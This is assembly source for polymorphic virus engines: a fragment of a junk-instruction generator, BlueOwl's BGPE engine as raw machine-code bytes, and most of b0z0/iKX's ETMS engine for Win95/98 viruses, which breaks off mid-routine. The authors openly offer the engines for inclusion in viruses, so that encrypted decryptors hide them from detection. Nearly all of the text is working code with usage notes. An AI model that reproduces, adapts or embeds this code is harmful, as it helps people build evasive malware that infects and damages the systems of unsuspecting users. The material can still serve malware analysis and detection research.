        mov     ah,0d2h
        jmp     exitand
and5:   cmp     eax,1388
        ja      and6
        mov     ah,0ffh
        jmp     exitand
and6:   cmp     eax,1770h
        ja      and7
        mov     ah,0f6h
        jmp     exitand
and7:   cmp     eax,1b58h
        ja      and8
        mov     ah,0edh
        jmp     exitand
and8:   mov     ah,0e4h
exitand:mov     al,23h
        stosw
        ret

GenJump:
        ;this function generate do nothing condition jump
        call    GenRandomNumber
        and     eax,0fh
        add     eax,70h
        stosw
        ret

GenPushPop:
        ;this function generate push reg \ pop reg instruction
        call    GenRandomNumber
        and     eax,7h
        add     eax,50h
        stosb
        add     eax,8h
        stosb
        ret

GenIncDec:
        ;this function generate:inc reg\dec reg or dec reg\inc reg instruction
        call    GenRandomNumber
        cmp     al,7fh
        ja      decinc
        and     eax,7h
        add     eax,40h
        stosb
        add     eax,8h
        stosb
        jmp     exitincd
decinc: and     eax,7h
        add     eax,48h
        mov     byte ptr [edi],al
        stosb
        sub     eax,8h
        mov     byte ptr [edi],al
        stosb
exitincd:ret


GenMoveRegReg:                  ;gen mov reg,reg
        call    GenRandomNumber
        and     eax,1f40h
        cmp     eax,3e8h
        ja      mreg2
        mov     ah,0c0h
        jmp     exitmreg
mreg2:  cmp     eax,7d0h
        ja      mreg3
        mov     ah,0dbh
        jmp     exitmreg
mreg3:  cmp     eax,0bb8h
        ja      mreg4
        mov     ah,0c9h
        jmp     exitmreg
mreg4:  cmp     eax,0fa0h
        ja      mreg5
        mov     ah,0d2h
        jmp     exitmreg
mreg5:  cmp     eax,1388
        ja      mreg6
        mov     ah,0ffh
        jmp     exitmreg
mreg6:  cmp     eax,1770h
        ja      mreg7
        mov     ah,0f6h
        jmp     exitmreg
mreg7:  cmp     eax,1b58h
        ja      mreg8
        mov     ah,0edh
        jmp     exitmreg
mreg8:  mov     ah,0e4h
exitmreg:
        mov     al,8bh
        stosw
        ret
        
GenAnd:
        ;this function generate and ebx\edx\ebp,trash instruction
        call    GenRandomNumber
        push    eax
        cmp     al,50h
        ja      nand1
        mov     ah,0e3h
        jmp     wand
nand1:  cmp     al,0a0h
        ja      nand2
        mov     ah,0e2h
        jmp     wand
nand2:  mov     ah,0e5h
wand:   mov     al,81h
        stosw
        pop     eax
        stosd
        ret
        
GenMove:
        ;this function generate mov ebx\edx\ebp,trash instruction
        call    GenRandomNumber
        push    eax
        cmp     al,50h
        ja      nmov1
        mov     al,0bbh
        jmp     wmov
nmov1:  cmp     al,0a0h
        ja      nmov2
        mov     al,0bah
        jmp     wmov
nmov2:  mov     al,0bdh
wmov:   stosb
        pop     eax
        stosd
        ret

GenPushTrashPopReg:
        ;this function generate push trash\ pop ebp\ebx\edx instruction
        call    GenRandomNumber
        mov     byte ptr [edi],68h
        inc     edi
        stosd
        cmp     al,55h
        ja      nextpt
        mov     byte ptr [edi],5dh
        jmp     wpop
nextpt: cmp     al,0aah
        ja      nextpt2
        mov     byte ptr [edi],5ah
        jmp     wpop
nextpt2:mov     byte ptr [edi],5bh
wpop:   inc     edi
        ret     
        
GenShrReg:                              ;gen shr unusedreg,num
        call    GenRandomNumber
        mov     byte ptr [edi],0c1h
        inc     edi
        cmp     al,50h
        ja      nshr
        mov     byte ptr [edi],0edh
        jmp     wshr
nshr:   cmp     al,0a0h
        ja      nshr2
        mov     byte ptr [edi],0eah
        jmp     wshr
nshr2:  mov     byte ptr [edi],0ebh
wshr:   inc     edi
        stosb
        ret
        
GenShlReg:                              ;gen shl unusedreg,num
        call    GenRandomNumber
        mov     byte ptr [edi],0c1h
        inc     edi
        cmp     al,50h
        ja      nshl
        mov     byte ptr [edi],0e3h
        jmp     wshl
nshl:   cmp     al,0a0h
        ja      nshl2
        mov     byte ptr [edi],0e2h
        jmp     wshl
nshl2:  mov     byte ptr [edi],0e5h
wshl:   inc     edi
        stosb
        ret
        
GenRorReg:                              ;gen ror unusedreg,num
        call    GenRandomNumber
        mov     byte ptr [edi],0c1h
        inc     edi
        cmp     al,50h
        ja      nror
        mov     byte ptr [edi],0cbh
        jmp     wror
nror:   cmp     al,0a0h
        ja      nror2
        mov     byte ptr [edi],0cah
        jmp     wror
nror2:  mov     byte ptr [edi],0cdh
wror:   inc     edi
        stosb
        ret
        
        
GenRolReg:                              ;gen rol unusedreg,num
        call    GenRandomNumber
        mov     byte ptr [edi],0c1h
        inc     edi
        cmp     al,50h
        ja      nrol
        mov     byte ptr [edi],0c3h
        jmp     wrol
nrol:   cmp     al,0a0h
        ja      nrol2
        mov     byte ptr [edi],0c2h
        jmp     wrol
nrol2:  mov     byte ptr [edi],0c5h
wrol:   inc     edi
        stosb
        ret
        
GenOrReg:                               ;gen or unusedreg,num
        call    GenRandomNumber
        push    eax
        mov     al,81h
        cmp     ah,50h
        ja      nor
        mov     ah,0cbh
        jmp     wor
nor:    cmp     ah,0a0h
        ja      nor2
        mov     ah,0cah
        jmp     wor
nor2:   mov     ah,0cdh
wor:    stosw
        pop     eax
        stosd
        ret

GenXorReg:                              ;gen xor unusedreg,num
        call    GenRandomNumber
        push    eax
        mov     al,81h
        cmp     ah,50h
        ja      nXor
        mov     ah,0f3h
        jmp     wXor
nXor:   cmp     ah,0a0h
        ja      nXor2
        mov     ah,0f2h
        jmp     wXor
nXor2:  mov     ah,0f5h
wXor:   stosw
        pop     eax
        stosd
        ret


GenSubAddTrash:                         ;gen add reg,num\sub reg,num
noesp:  call    GenRandomNumber
        mov     ebx,eax
        cmp     al,80h
        ja      sub_f
        and     ah,7h
        add     ah,0c0h
        cmp     ah,0c4h
        je      noesp
        mov     al,81h
        stosw
        mov     eax,ebx
        stosd
        mov     eax,ebx
        and     ah,7h
        add     ah,0e8h
        mov     al,81h
        stosw
        mov     eax,ebx
        stosd
        jmp     exitsa
sub_f:  and     ah,7h
        add     ah,0e8h
        cmp     ah,0ech
        je      noesp
        mov     al,81h
        stosw
        mov     eax,ebx
        stosd
        mov     eax,ebx
        and     ah,7h
        add     ah,0c0h
        mov     al,81h
        stosw
        mov     eax,ebx
        stosd
exitsa: ret

OneByte:                                ;gen one byte do nothing instruction
        call    GenRandomNumber
        cmp     al,32h
        ja      byte1
        mov     al,90h
        jmp     end_get_byte
byte1:  cmp     al,64h
        ja      byte2
        mov     al,0f8h
        jmp     end_get_byte
byte2:  cmp     al,96h
        ja      byte3
        mov     al,0f5h
        jmp     end_get_byte
byte3:  cmp     al,0c8h
        ja      byte4
        mov     al,0f9h
        jmp     end_get_byte
byte4:  mov     al,0fch
end_get_byte:
        stosb
        ret

        ; BGPE  - BlueOwls Genetic Poly Engine (Simple version, v0), november 2004

        ; Al though this is just a "simple" version, feel free to spread and
        ; use it in whatever you like, as long as you don't hold me responsible
        ; AND don't claim it is yours. :) What i was thinking about adding was
        ; placing all the code blocks in random order, maybe something for a
        ; next version ;). I have not tested it thouroughly, so it could have
        ; bugs causing it not to function properly or not to function at all. I
        ; just hope it does not have bugs :).

        ; Good luck with it.
        ; BlueOwl


                ; in:   eax = random number
                ;       ecx = size of virus in bytes rounded to a dword ((virus_size+3)/4)*4
                ;       esi = start of virus
                ;       edi = start of outputbuffer
                ;
                ; out:  eax = size of generated

                ; size of bgpe: 646 bytes

bgpe:           db      060h,0E8h,000h,000h,000h,000h,05Dh,0FFh,075h,062h
                db      0FFh,0B5h,07Ch,001h,000h,000h,0FFh,0B5h,080h,001h
                db      000h,000h,055h,051h,08Dh,08Dh,07Ch,001h,000h,000h
                db      08Dh,05Dh,062h,089h,0E5h,083h,0C5h,004h,0E8h,049h
                db      002h,000h,000h,092h,0E8h,043h,002h,000h,000h,021h
                db      0C2h,0E8h,03Ch,002h,000h,000h,021h,0C2h,0E8h,035h
                db      002h,000h,000h,021h,0C2h,031h,013h,06Ah,007h,05Ah
                db      087h,0CAh,0E8h,027h,002h,000h,000h,0A9h,007h,000h
                db      000h,000h,075h,005h,08Ah,002h,088h,042h,001h,042h
                db      0E2h,0ECh,059h,0B0h,0E8h,0AAh,089h,0C8h,0ABh,057h
                db      0C1h,0E9h,002h,068h,000h,000h,000h,000h,051h,050h
                db      0F3h,0A5h,0E8h,0FFh,001h,000h,000h,050h,0E8h,001h
                db      001h,000h,000h,005h,006h,058h,006h,050h,005h,08Bh
                db      00Eh,004h,024h,006h,0FFh,034h,024h,006h,058h,009h
                db      00Bh,00Eh,004h,024h,023h,00Eh,004h,024h,004h,016h
                db      0B8h,066h,005h,068h,066h,016h,058h,009h,083h,016h
                db      0E0h,000h,081h,016h,0C0h,066h,005h,08Dh,01Eh,005h
                db      066h,005h,04Eh,087h,02Eh,000h,007h,04Eh,0FFh,006h
                db      030h,026h,058h,005h,04Eh,08Bh,02Eh,000h,008h,04Eh
                db      00Bh,02Eh,000h,023h,02Eh,000h,016h,08Dh,06Eh,080h
                db      056h,0C1h,026h,0C0h,05Eh,076h,051h,00Fh,0B6h,04Dh
                db      0ECh,0D3h,0C8h,059h,02Bh,045h,01Ch,0C3h,014h,0C1h
                db      026h,0C8h,05Eh,0F7h,026h,0D8h,076h,0F7h,0D8h,051h
                db      00Fh,0B6h,04Dh,0ECh,0D3h,0C0h,059h,0C3h,00Fh,00Fh
                db      026h,0C8h,081h,026h,0F0h,056h,076h,033h,045h,01Ch
                db      00Fh,0C8h,0C3h,00Fh,081h,026h,0E8h,056h,0F7h,026h
                db      0D0h,076h,0F7h,0D0h,003h,045h,01Ch,0C3h,004h,087h
                db      02Eh,000h,006h,026h,050h,08Fh,006h,000h,004h,089h
                db      02Eh,000h,007h,021h,02Eh,000h,009h,02Eh,000h,005h
                db      08Dh,036h,040h,004h,005h,083h,006h,0C0h,004h,005h
                db      083h,006h,0E8h,0FCh,009h,006h,040h,006h,040h,006h
                db      040h,006h,040h,003h,016h,048h,005h,083h,016h,0E8h
                db      001h,005h,083h,016h,0C0h,0FFh,005h,08Dh,03Eh,040h
                db      0FFh,008h,009h,03Eh,0C0h,074h,002h,0EBh,046h,007h
                db      016h,040h,016h,048h,075h,046h,007h,083h,016h,0F8h
                db      001h,073h,046h,009h,016h,048h,078h,003h,016h,040h
                db      079h,046h,002h,0C3h,004h,0C2h,000h,000h,004h,058h
                db      0FFh,0E0h,007h,0FFh,034h,024h,0C2h,004h,000h,000h
                db      05Ah,0E8h,007h,000h,000h,000h,000h,001h,002h,003h
                db      005h,006h,007h,05Bh,080h,03Ah,000h,00Fh,084h,0C7h
                db      000h,000h,000h,089h,0D6h,06Ah,004h,059h,00Fh,0B6h
                db      002h,001h,0C2h,0E2h,0F9h,08Bh,04Dh,0F8h,0C1h,06Dh
                db      0F8h,002h,083h,0E1h,003h,009h,0C9h,074h,007h,00Fh
                db      0B6h,006h,001h,0C6h,0E2h,0F9h,00Fh,0B6h,00Eh,049h
                db      046h,0ACh,050h,083h,0E0h,007h,083h,0F8h,006h,058h
                db      074h,009h,008h,0E0h,0AAh,028h,0E4h,0E2h,0EEh,0EBh
                db      0BDh,00Fh,0B6h,0C0h,0C1h,0E8h,003h,052h,0E8h,00Fh
                db      000h,000h,000h,058h,034h,060h,03Ah,047h,04Bh,053h
                db      05Bh,064h,06Ch,070h,07Ch,075h,041h,01Ch,05Ah,08Ah
                db      004h,002h,001h,0C2h,029h,0C0h,0FFh,0D2h,05Ah,0EBh
                db      0D4h,052h,057h,087h,0F2h,08Bh,04Dh,0F4h,08Bh,075h
                db      0FCh,089h,0F7h,0ADh,0FFh,0D2h,0ABh,0E2h,0FAh,06Ah
                db      001h,059h,05Fh,05Ah,0C3h,08Ah,023h,0C0h,0E4h,003h
                db      0C3h,08Ah,063h,001h,0C0h,0E4h,003h,0C3h,08Ah,063h
                db      002h,0C0h,0E4h,003h,00Ah,063h,002h,0C3h,08Ah,063h
                db      002h,0C0h,0E4h,003h,0EBh,005h,08Ah,023h,0C0h,0E4h
                db      003h,00Ah,023h,0C3h,0E8h,0DAh,0FFh,0FFh,0FFh,00Ah
                db      063h,001h,0C3h,08Bh,045h,0F0h,029h,0F8h,048h,0AAh
                db      0C3h,089h,07Dh,0F0h,0C3h,08Bh,045h,01Ch,0EBh,003h
                db      08Bh,045h,0F4h,0ABh,029h,0C0h,0C3h,08Ah,045h,0ECh
                db      0AAh,0C3h,089h,0ECh,05Dh,08Fh,085h,080h,001h,000h
                db      000h,08Fh,085h,07Ch,001h,000h,000h,08Fh,045h,062h
                db      089h,07Ch,024h,01Ch,061h,029h,0F8h,0C3h,08Bh,045h
                db      01Ch,0C1h,0C0h,007h,066h,0F7h,0D8h,005h,0A5h,023h
                db      08Fh,0B7h,031h,045h,01Ch,0C3h

                ; Copyright BlueOwl, november 2004



;
;
;                      - expressway to my skull -
;                             [ETMS]  v0.1
;                              -b0z0/iKX-
;
; Intro:
;  This is a polymorphic engine for Win95/98/32 based viruses. It (not sure
; about this anyway) creates quite polymorphic decryptors that could be used
; to hide your virus or something else. Skip some lines to get a tech
; description and try to generate a few samples to see what it can do.
;  Somebody could ask which is the sense of such a name for a poly. The answer
; is simple: should there be a reason for everything? I find a lot of things
; totally nonsense, so why should poly engines have a name that could fit for
; a poly engine? I just felt like using this name for my poly and I did so. It
; is somewhat a change from the title of a Sonic Youth song named 'Expressway
; to yr skull' (named also 'The Crucifixion of Sean Penn' or 'Madonna, Sean and
; me'), a song that I like and that I found very near when I was writing this
; poly engine.
;
; Features:
;   Basic features:
;       - Encryption using XOR/ADD/SUB/ROL/ROR on bytes/words/dwords with
;         either fixed (fixed immediate or fixed reg) or changing key
;       - Can use all registers as pointers, counters and key holders
;       - Can encrypt from start to end and from end to beginning
;       - Can create memory reference with offset (ie. [ECX + 1234h])
;       - Counter with random costants added, counts both decrementing or
;         incrementing its value
;       - Key change using XOR/ADD/SUB/ROL/ROR/INC/DEC on bytes/words/dwords
;         of the key register
;       - Quite some different ways of counting loop
;       - Some garbage is encrypted aswell
;       - Lenght of generated decryptors range somewhere between 400
;         bytes up to 4kbs
;
;   Garbage:
;       - All the normal math, logical and comparation operations and
;         assignations on registers, immediates and memory references
;       - Moving and exchanging of registers
;       - Push of regs/imms/mem_data, pop to regs
;       - Creation of fake subroutines
;       - Conditional and unconditional jumps
;       - Usual one byte opcodes
;       - Temporary saves somewhere (to another register or to stack) important
;         registers (such as key, counter and pointer) and makes garbage with
;         them.
;       - More or less all the usual code you could find around in normal
;         programs, excepts memory writes and such. Anyway you'd better give a
;         look to some decryptors, it is not easy to write too deeply what it
;         does.
;
;
; Using the poly:
;   Just add the ETMS source in your virus, simply:
;     include         etms.asm
;   Set the registers as described below and then call the poly. The poly uses
;  some data for internal purposes. This data of course is not needed to be
;  carried around with your infected file or whatever. You can just include
;  the ETMS source at the end of the file and then skip the bytes that start
;  from the label _mem_data_start. Of course you'll need to have that free
;  memory placed there at runtime.
;   The random seed (the dd at seed) should be initialized at first poly
;  run to a value between 0 and 714024.
;
;    Calling parameters:
;       ECX     =       Lenght of things to be encrypted
;       ESI     =       Pointer to what we want to encrypt
;       EDI     =       Where to place decryptor and encrypted stuff
;       EBP     =       Offset at which decryptor will run
;
;    On exit:
;       EDI     =       Pointer to generated code
;       ECX     =       Lenght of generated code (decryptor + encrypted code)
;
; Note:
;  I tried to write the poly quite clearly adding quite some comments.
; Nevertheless in some parts the code could be a bit messy or strange since
; I tried to optimize it at least a bit (like converting most of direct
; memory 32bit references to a reference [reg + off8] that are much shorter).
; I apologize for some quite messy code and if you have some problems
; understanding something, please contact me.
;
; Contacts:
;  For any question, comment or whatever about the poly or about whatever feel
; free to mail me at cl0wn@geocities.com.
;
;

etms_engine:
        cld
        push    edi
        push    edi

        call    poly_delta
poly_delta:
        pop     eax                     ; where we are running
        sub     eax,offset poly_delta
        push    eax

        lea     ebx,[offset t_inipnt + eax]

o_tini  equ     offset t_inipnt         ; save some bytes since off between
                                        ; various data is a 8b

        mov     dword ptr [ebx],edi
        mov     dword ptr [ebx - (o_tini - offset v_lenght)],ecx
        mov     dword ptr [ebx - (o_tini - offset v_virusp)],esi
        mov     dword ptr [ebx - (o_tini - offset v_runnin)],ebp

        mov     dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh
        mov     dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h

        xor     eax,eax
        mov     dword ptr [ebx - (o_tini - offset t_fromend)],eax
        mov     dword ptr [ebx - (o_tini - offset t_pntoff)],eax
        mov     dword ptr [ebx - (o_tini - offset t_cntoff)],eax
        mov     dword ptr [ebx - (o_tini - offset t_inacall) - 2],eax

        xor     cl,cl
bit_loop:
        shl     ebp,1
        jc      founded_first1                  ; find higher bit with an 1
        inc     cl                              ; for random memory offsets
        jmp     bit_loop
founded_first1:
        mov     byte ptr [ebx - (o_tini - offset t_memand)],cl

        pop     ebp                             ; delta

        push    edi
        mov     al,90h
        lea     edi,[offset enc_space + ebp]
        mov     dword ptr [ebx - (o_tini - offset w_encrypt)],edi
        mov     ecx,enc_max
        rep     stosb
        pop     edi

        call    rnd_garbage

        mov     ecx,3
        lea     esi,[offset r_pointer + ebp]

init_part:
        push    ecx
select_register:
        call    get_register                    ; get a unused register
        xchg    eax,ecx

        call    set_used                        ; mark as unusable in future
        xchg    eax,ebx

select_block:
        call    get_random_al7
        and     al,011b
        jz      select_block                    ; select from 01 to 03

        dec     eax
        cmp     byte ptr [eax+esi],0ffh         ; check if that stage already
        jne     select_block                    ; done

        mov     byte ptr [eax+esi],bl           ; save the register for that
                                                ; stage
        or      al,al
        jnz     not_pointer

        mov     dword ptr [esi - (offset r_pointer - offset w_pointer)],edi
                                                ; save offset where the
                                                ; pointer is initialized
        jmp     assign_next

not_pointer:
        dec     eax
        jnz     not_counter

        mov     dword ptr [esi - (offset r_pointer - offset w_counter)],edi
        jmp     assign_next                     ; assign inital counter

not_counter:

        call    get_random                      ; get key
        mov     dword ptr [esi - (offset r_pointer - offset v_initkey)],eax
        xchg    eax,ecx

        call    get_random
        and     al,1
        jz      assign_next                     ; if so use key
        call    unset_used
        mov     byte ptr [esi+2],20h            ; don't use key
        jmp     next_loop
assign_next:
                ; BL  register
                ; EAX value
        xchg    eax,ebx                 ; in bl register
        or      al,0b8h                 ; mov base
        stosb
        xchg    eax,ecx
        stosd                           ; the value

next_loop:
        call    rnd_garbage
        pop     ecx
        loop    init_part               ; make all init steps


; now some base assignment to a pointer, counter and key (if used) registers
; has been done. here we are gonna change a bit the various registers where
; the various things has been assigned
        call    get_random_al7
        and     al,011b                 ; from 0 to 3 moves
        jz      decryptor_build_start
        xchg    eax,ecx
reg_movida:
        push    ecx
get_whichone:
        call    select_save             ; select which to change (pnt,cnt,key)
        jc      leave_this_out

        call    save_mov_xchg           ; change the regs using mov or xchg
        mov     byte ptr [edx],al
leave_this_out:
        pop     ecx
        loop    reg_movida

decryptor_build_start:
; decryptor loop begins right here

        lea     esi,[offset t_chgpnt + ebp]
        mov     dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi

        call    get_random              ; select if starting from head or from
        and     ax,0101h                ; tail and if counter will dec or inc
        mov     word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax

        xchg    eax,edx                 ; rnd in edx

        shl     edx,1                   ; add a constant to counter?
        jnc     normal_counter
        call    get_random
        mov     dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax
normal_counter:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h
                                        ; no bp + off
        je      reget_size_op

        shl     edx,1                   ; select if use only pointer or
        jc      reget_size_op           ; pointer + offset
        call    get_random              ; select random offset
        mov     dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax
                                        ; if using get offset
reget_size_op:
        call    get_random
        mov     edx,eax
        and     eax,0fh                 ; select math operation and size
        or      eax,eax                 ; of operand
        jz      reget_size_op

;      byte  word  dword
; ror   1     6     b
; sub   2     7     c
; xor   3     8     d
; add   4     9     e
; rol   5     a     f
;
no_rorrrpr:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03
                                        ; if not ax,cx,dx,bx then can't be byte
        jb      can_use_all             ; as key
        cmp     al,6                    ; is byte? get another
        jb      reget_size_op

can_use_all:
        xor     ecx,ecx
        mov     cl,9
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
        je      no_keychanges

        shr     edx,8                   ; edx has rnd
        and     edx,011b
        mov     byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl
        add     ecx,edx

no_keychanges:
        cmp     al,0bh
        jae     ok_counts
        sub     ecx,4d                  ; if with words 4 inc/dec less
        sub     word ptr [esi],0202h
        cmp     al,06d
        jae     ok_counts
        dec     ecx                     ; for bytes even less
        dec     ecx
        sub     word ptr [esi],0101h

ok_counts:
        push    eax
        call    rnd_garbage
get_nextseq:
        call    get_random
        and     eax,011b
        xchg    eax,edx
        cmp     byte ptr [esi+edx],0
        je      get_nextseq
        dec     byte ptr [esi+edx]
        shl     edx,2                   ; offset = * 4
        sub     edx,(offset t_chgpnt - offset o_table)
        pop     eax
        push    eax
        push    ecx
        push    esi
        mov     ecx,dword ptr [esi+edx]
        add     ecx,ebp
        call    ecx                     ; call the routine to do it
        pop     esi
        pop     ecx
        pop     eax
        loop    ok_counts

; finished decryption loop, needs comparation and jumps
        call    rnd_garbage

        xor     eax,eax
        inc     eax
        mov     ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)]
        or      ecx,ecx
        jnz     must_compare

get_checker:
        call    get_random
        and     eax,0fh
        cmp     al,09d
        ja      get_checker
must_compare:
        shr     al,1
        pushf
        mov     ah,byte ptr [eax + offset chk_counter + ebp]   ; get comparer
        add     ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
        mov     al,81h
        popf
        jc      store_d00
        inc     eax
        inc     eax
        stosw
        xor     al,al
        stosb
        jmp     make_jumps
store_d00:
        stosw
        xchg    eax,ecx
        cmp     byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
        je      not_negcnt1
        neg     eax
not_negcnt1:
        stosd
make_jumps:
        call    get_random
        ror     al,1
        jc      do_withlong
        stosw

        call    make_jmpback            ; do jump back, in EAX lenght of jump

        cmp     eax,7fh                 ; max short jump offset
        jb      ok_offsetj
        mov     edi,ebx                 ; if > then redo from start
        dec     edi
        dec     edi
        jmp     make_jumps
ok_offsetj:
        mov     ah,74h                  ; jne + offset
        xchg    al,ah
        mov     word ptr [ebx-2],ax
        jmp     done_cond
do_withlong:
        mov     ax,840fh                ; jz long
        stosw
        stosd
        call    make_jmpback            ; do jump back, in EAX lenght of jump

        mov     dword ptr [ebx-4],eax     ; store the lenght
done_cond:


; now decryption loop generation is finished
        lea     esi,[offset v_lenght + ebp]
        mov     byte ptr [esi - (offset v_lenght - offset r_used)],10h
                                        ; can use all regs (except ESP) again

        call    rnd_garbage             ; unencrypted one, some more here
        call    rnd_garbage

        push    edi
        call    rnd_garbage                     ; encrypted garbage
        pop     ecx
        neg     ecx
        add     ecx,edi                 ; how much encrypted garbage

        mov     edx,ecx
        sub     edi,edx

        add     ecx,dword ptr [esi]

        shr     ecx,2                   ; so it will be enough for b/w/d enc
        inc     ecx
        shl     ecx,2

        pop     eax
        neg     eax
        add     eax,edi                         ; lenght of decryptor
        add     eax,dword ptr [esi - (offset v_lenght - offset v_runnin)]
                                                ; running offset
        mov     ebx,dword ptr [esi - (offset v_lenght - offset w_pointer)]
        cmp     byte ptr [esi - (offset v_lenght - offset t_fromend)],00h
        pushf
        je      no_adding
        add     eax,ecx                         ; from end
no_adding:
        sub     eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)]
                                                ; - pointer offset if is there
        mov     dword ptr [ebx+1],eax           ; set initial pointer

        mov     ebx,dword ptr [esi - (offset v_lenght - offset w_counter)]
        inc     ebx
        mov     eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)]
        add     eax,ecx
        mov     dword ptr [ebx],eax

        cmp     byte ptr [esi - (offset v_lenght - offset t_countback)],00h
        je      not_negcnt
        neg     dword ptr [ebx]

not_negcnt:

        mov     esi,dword ptr [esi - (offset v_lenght - offset v_virusp)]

        mov     ebx,edi                 ; pointer on code to encrypt
        add     edi,edx                 ; + encrypted garbage
        popf
        je      no_adding2
        add     ebx,ecx                 ; add lenght if from end

no_adding2:

        push    ecx
        sub     ecx,edx
        rep     movsb                   ; copy what to encrypt
        pop     edx

        db      0b9h                    ; mov ecx
v_initkey       dd      00h             ; initial key value

enc_max equ     20h
; lenghts
; 6     = max encryption operation
; 4     = max 4 inc/dec counter
; 4     = max 4 inc/dec counter
; 3 * 6 = max 3 * 6 byte key change operations

enc_space:
        db      enc_max dup (90h)       ; here the encryptor will be placed
        or      edx,edx
        jnz     enc_space               ; loop

        mov     ecx,edi
        pop     edi
        sub     ecx,edi                 ; total lenght
        ret                             ; poly finished
; - ETMS return point

poly_name       db      '[ETMS] v0.1 -b0z0/iKX-',0

make_jmpback:
        push    edi

        call    rnd_garbage

        mov     al,0e9h
        stosb
        mov     eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)]
                                                ; the jump back to start of
        sub     eax,04h                         ; the decryptor
        sub     eax,edi
        stosd

        call    rnd_garbage

        pop     eax
        mov     ebx,eax
        neg     eax
        add     eax,edi                 ; calculate lenght of jump and return
        ret                             ; with it

put_encloop_2:
        push    ecx
        xor     ecx,ecx
        inc     ecx
        inc     ecx
        jmp     short put_encloop
put_encloop_1:
        push    ecx
        xor     ecx,ecx
        inc     ecx
put_encloop:
; ecx nr of bytes
        push    eax
        xchg    edi,dword ptr [w_encrypt+ebp]   ; in EDI where we are in enc
                                                ; and save dec position
copy_it:
        stosb
        shr     eax,8
        loop    copy_it
        xchg    dword ptr [w_encrypt+ebp],edi   ; save next and restore dec pnt
        pop     eax
        pop     ecx
        ret

o_table:
o_counter       dd      offset ch_counter
o_pointer       dd      offset ch_pointer
o_key           dd      offset ch_key
o_mate          dd      offset ch_mate

ch_counter:                             ; decrement/increment counter
        mov     al,48h                  ; dec
        push    eax
        or      al,02h                  ; counter in enc uses EDX
        call    put_encloop_1
        pop     eax
        cmp     byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
        je      decrementing
        sub     al,08h                  ; else incrementing counter
decrementing:
        or      al,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
        stosb
        ret

ch_pointer:                             ; increment/decrement pointer
        mov     al,40h                  ; inc
        cmp     byte ptr [esi - (offset t_chgpnt - offset t_fromend)],00h
        je      straight_up
        add     al,08h
straight_up:
        push    eax
        or      al,03h                  ; ebx
        call    put_encloop_1
        pop     eax
        or      al,byte ptr [esi - (offset t_chgpnt - offset r_pointer)]
        stosb
        ret

ch_key:                                 ; change key register
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
        je      exit_keychange
get_modifier:
        call    get_random_al7
        cmp     al,6
        ja      get_modifier
        mov     cl,al
        mov     ah,byte ptr [eax + offset key_changers + ebp]
        mov     al,81h          ; add/sub/xor base
        cmp     cl,3
        jb      no_rrrr
        mov     al,0c1h         ; rol/ror base
no_rrrr:
        push    eax
reget_ksize:
        call    get_random      ; select if byte/word/dword
        and     al,011b
        jz      reget_ksize
        cmp     cl,04h          ; inc dec just on dw and dd
        jb      isntincdec
        cmp     al,01h
        je      reget_ksize
isntincdec:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3
        jbe     canall
        cmp     al,01b          ; byte keychange only for ax,cx,dx,bx
        je      reget_ksize
canall:
        mov     ch,al
        pop     eax
        cmp     ch,01h
        jne     no_decbyte
        dec     al
no_decbyte:
        cmp     ch,02h
        jne     no_wordprefix
        push    eax
        mov     al,66h
        stosb
        call    put_encloop_1
        pop     eax
no_wordprefix:
        cmp     cl,05h
        pushf
        jb      no_incdecch             ; inc/dec has just one byte opcode
        dec     edi
        mov     al,byte ptr [edi]
no_incdecch:
        popf
        push    eax
        jb      no_nopneeded
        mov     al,ah
        or      al,1            ; ecx key in enc loop
        call    put_encloop_1   ; for inc/dec
        jmp     short after_store
no_nopneeded:
        or      ah,1            ; key is ECX in enc loop
        call    put_encloop_2
after_store:
        pop     eax
        or      ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)]
        stosw
        cmp     cl,05           ; inc/dec doesn't need any key
        jae     exit_keychange
        call    get_random
        cmp     cl,03
        jae     just_one_bk     ; ror/rol just one byte key
        cmp     ch,01h
        je      just_one_bk     ; check dimension of key modifier
        stosb
        call    put_encloop_1
        shr     eax,8h
        cmp     ch,02h
        je      just_one_bk
        stosw
        call    put_encloop_2
        shr     eax,10h
just_one_bk:
        stosb
        call    put_encloop_1
exit_keychange:
        ret

ch_mate:                        ; creates the decryption math operation
        xor     edx,edx
        mov     ecx,5h
type_sel:
        cmp     eax,ecx
        jbe     ok_regs
        inc     edx
        sub     eax,ecx
        jmp     type_sel        ; get type and size.. in EDX size, in EAX type
                                ; edx = 0 for byte, 1 for word, 2 for dword
ok_regs:
        cmp     byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
        lea     esi,[offset _math_imm + ebp]
        je      without_key
        add     esi,(offset _math_key - offset _math_imm)
without_key:
        dec     eax             ; type - 1
        push    esi
        push    eax
        shl     eax,1           ; each type is a word
        add     esi,eax
        lodsw                   ; ax = mathop word

        cmp     dl,1
        jne     not_word
        push    eax
        mov     al,066h
        stosb
        call    put_encloop_1
        pop     eax
not_word:
        or      dl,dl
        jnz     not_byte
        dec     al
not_byte:
        pop     ebx             ; type - 1
        pop     esi             ;

        push    ebx

        push    eax
        neg     ebx
        add     ebx,4           ; get opposite math operation
        shl     ebx,1
        add     esi,ebx
        lodsw

        lea     esi,[offset r_regkey + ebp]
        cmp     byte ptr [esi],20h
        je      ok_regskey
        cmp     al,0d3h
        je      ok_regskey
        add     ah,08h          ; since ECX is used as key
ok_regskey:
        or      dl,dl
        jnz     not_byterev
        dec     al
not_byterev:
